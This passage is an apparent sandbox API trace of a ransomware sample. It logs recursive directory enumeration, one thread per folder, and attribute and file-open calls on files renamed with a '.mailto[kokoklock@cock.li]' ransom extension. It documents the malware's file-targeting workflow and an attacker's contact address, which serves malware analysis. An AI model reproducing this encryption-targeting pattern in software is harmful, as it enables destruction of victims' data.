ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x873418e1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873418e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0168.153] wcscmp (_String1="i386", _String2=".") returned 1 [0168.153] wcscmp (_String1="i386", _String2="..") returned 1 [0168.153] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa18b0 [0168.153] wcscpy (in: _Dest=0x2fa18b0, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0168.153] wcscat (in: _Dest=0x2fa18b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0168.153] wcscat (in: _Dest=0x2fa18b0, _Source="i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa18b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0168.153] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x872103df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 1 [0168.153] wcscmp (_String1="ux", _String2=".") returned 1 [0168.154] wcscmp (_String1="ux", _String2="..") returned 1 [0168.154] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa1630 [0168.154] wcscpy (in: _Dest=0x2fa1630, _Source="C:\\Windows10Upgrade\\resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0168.154] wcscat (in: _Dest=0x2fa1630, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\" [0168.154] wcscat (in: _Dest=0x2fa1630, _Source="ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0168.154] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2f9a1c8 | out: lpFindFileData=0x2f9a1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x872103df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ux", cAlternateFileName="")) returned 0 [0168.154] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0168.155] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a1c8) returned 1 [0168.155] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0168.155] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0168.155] RtlExitUserThread (Status=0x0) Thread: id = 1491 os_tid = 0xe28 [0163.968] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.969] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.969] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.969] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63c80) returned 1 [0163.969] RtlExitUserThread (Status=0x0) Thread: id = 1492 os_tid = 0xe2c [0163.971] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.971] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.972] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.972] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.972] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6fad8) returned 1 [0163.972] RtlExitUserThread (Status=0x0) Thread: id = 1493 os_tid = 0xe30 [0163.973] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.973] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.974] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.974] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cb88) returned 1 [0163.974] RtlExitUserThread (Status=0x0) Thread: id = 1494 os_tid = 0xe34 [0163.975] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.975] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.975] CreateFileW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp32.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.975] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp32.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6a4a8) returned 1 [0163.975] RtlExitUserThread (Status=0x0) Thread: id = 1495 os_tid = 0xe38 [0163.976] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0163.977] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.977] CreateFileW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\winrebootapp64.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.977] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\WinREBootApp64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0163.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63a70) returned 1 [0163.977] RtlExitUserThread (Status=0x0) Thread: id = 1496 os_tid = 0xe3c [0163.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x2a) returned 0x2f937d8 [0163.978] wcscpy (in: _Dest=0x2f937d8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0163.978] wcscat (in: _Dest=0x2f937d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0163.978] wcscat (in: _Dest=0x2f937d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*" [0163.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cb00 [0163.978] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80520 [0163.978] wcscmp (_String1=".", _String2=".") returned 0 [0163.978] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.978] wcscmp (_String1="..", _String2=".") returned 1 [0163.979] wcscmp (_String1="..", _String2="..") returned 0 [0163.979] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0163.979] wcscmp (_String1="Adobe", _String2=".") returned 1 [0163.979] wcscmp (_String1="Adobe", _String2="..") returned 1 [0163.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80820 [0163.979] wcscpy (in: _Dest=0x2f80820, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0163.979] wcscat (in: _Dest=0x2f80820, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0163.979] wcscat (in: _Dest=0x2f80820, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0168.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0168.231] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0168.231] wcscmp (_String1="Application Data", _String2=".") returned 1 [0168.231] wcscmp (_String1="Application Data", _String2="..") returned 1 [0168.231] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0168.232] wcscmp (_String1="Comms", _String2=".") returned 1 [0168.232] wcscmp (_String1="Comms", _String2="..") returned 1 [0168.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f803a0 [0168.232] wcscpy (in: _Dest=0x2f803a0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.232] wcscat (in: _Dest=0x2f803a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.232] wcscat (in: _Dest=0x2f803a0, _Source="Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms" [0168.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f803a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0168.232] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0168.232] wcscmp (_String1="Desktop", _String2=".") returned 1 [0168.232] wcscmp (_String1="Desktop", _String2="..") returned 1 [0168.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7ff20 [0168.233] wcscpy (in: _Dest=0x2f7ff20, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.233] wcscat (in: _Dest=0x2f7ff20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.233] wcscat (in: _Dest=0x2f7ff20, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0168.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7ff20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0168.233] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0168.233] wcscmp (_String1="Documents", _String2=".") returned 1 [0168.233] wcscmp (_String1="Documents", _String2="..") returned 1 [0168.233] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87278 [0168.233] wcscpy (in: _Dest=0x2f87278, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.234] wcscat (in: _Dest=0x2f87278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.234] wcscat (in: _Dest=0x2f87278, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0168.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0168.234] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0168.234] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0168.234] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0168.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87818 [0168.234] wcscpy (in: _Dest=0x2f87818, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.234] wcscat (in: _Dest=0x2f87818, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.234] wcscat (in: _Dest=0x2f87818, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0168.235] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0168.235] wcscmp (_String1="Microsoft OneDrive", _String2=".") returned 1 [0168.235] wcscmp (_String1="Microsoft OneDrive", _String2="..") returned 1 [0168.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f8f6a8 [0168.235] wcscpy (in: _Dest=0x2f8f6a8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.235] wcscat (in: _Dest=0x2f8f6a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.235] wcscat (in: _Dest=0x2f8f6a8, _Source="Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0168.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8f6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0168.236] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0168.236] wcscmp (_String1="Oracle", _String2=".") returned 1 [0168.236] wcscmp (_String1="Oracle", _String2="..") returned 1 [0168.236] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f800a0 [0168.236] wcscpy (in: _Dest=0x2f800a0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.236] wcscat (in: _Dest=0x2f800a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.236] wcscat (in: _Dest=0x2f800a0, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0168.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f800a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0168.237] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0168.237] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0168.237] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0168.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa13b0 [0168.237] wcscpy (in: _Dest=0x2fa13b0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.237] wcscat (in: _Dest=0x2fa13b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.237] wcscat (in: _Dest=0x2fa13b0, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa13b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0168.238] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x87531608, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87531608, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0168.238] wcscmp (_String1="regid.1991-06.com.microsoft", _String2=".") returned 1 [0168.238] wcscmp (_String1="regid.1991-06.com.microsoft", _String2="..") returned 1 [0168.238] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87e38 [0168.238] wcscpy (in: _Dest=0x2f87e38, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.238] wcscat (in: _Dest=0x2f87e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.238] wcscat (in: _Dest=0x2f87e38, _Source="regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0168.238] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0168.238] wcscmp (_String1="SoftwareDistribution", _String2=".") returned 1 [0168.239] wcscmp (_String1="SoftwareDistribution", _String2="..") returned 1 [0168.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f6b640 [0168.239] wcscpy (in: _Dest=0x2f6b640, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0168.239] wcscat (in: _Dest=0x2f6b640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0168.239] wcscat (in: _Dest=0x2f6b640, _Source="SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution" [0168.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0168.239] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2f9cb00 | out: lpFindFileData=0x2f9cb00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0168.239] wcscmp (_String1="Start Menu", _String2=".") returned 1 